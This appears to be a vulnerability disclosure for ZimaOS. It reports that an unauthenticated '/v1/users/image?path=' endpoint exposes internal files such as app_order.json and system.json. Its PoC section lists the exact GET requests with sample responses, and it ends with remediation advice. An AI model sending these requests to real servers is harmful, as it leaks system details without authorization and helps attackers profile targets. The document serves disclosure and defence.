Summary

The API endpoints in ZimaOS, such as http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/app_order.json and http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/system.json, expose sensitive data like installed applications and system information without requiring any authentication or authorization. This sensitive data leak can be exploited by attackers to gain detailed knowledge about the system setup, installed applications, and other critical information.

Details

ZimaOS exposes sensitive system details and application lists via unauthenticated API endpoints. Attackers can access files like app_order.json and system.json, revealing information about installed applications and the system setup, making it easier to craft targeted attacks.

PoC

1. Send a GET request to the following endpoints:

• GET http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/app_order.json
• GET http://<Server-IP>/v1/users/image?path=/var/lib/casaos/1/system.json

No authentication or authorization is required.

2. Example responses:

For app_order.json:

{
  "installed_apps": ["app1", "app2", "app3"],
  "order": [1, 2, 3]
}

For system.json:

{
  "os_version": "ZimaOS v1.0",
  "hostname": "localhost",
  "cpu_info": "Intel(R) Core(TM) i7",
  "memory": "16GB"
}

YouTube Video PoC

Unlisted YouTube PoC Link

Impact

1. Sensitive Information Disclosure: Attackers can gather detailed system information, including installed applications and system setup.
2. System Profiling: The information disclosed can assist attackers in identifying potential vulnerabilities specific to the system's configuration.
3. Targeted Exploits: With knowledge of installed applications and system details, attackers can craft more targeted attacks, increasing the risk of exploitation.

Recommendation

1. Authentication and Authorization: Implement proper access controls requiring authentication and authorization to access sensitive files like app_order.json and system.json.
2. Restrict Public Access: Ensure sensitive paths are not accessible publicly without proper authorization.
3. Monitoring and Rate-Limiting: Monitor API requests to sensitive endpoints and implement rate-limiting to prevent automated data collection by malicious actors.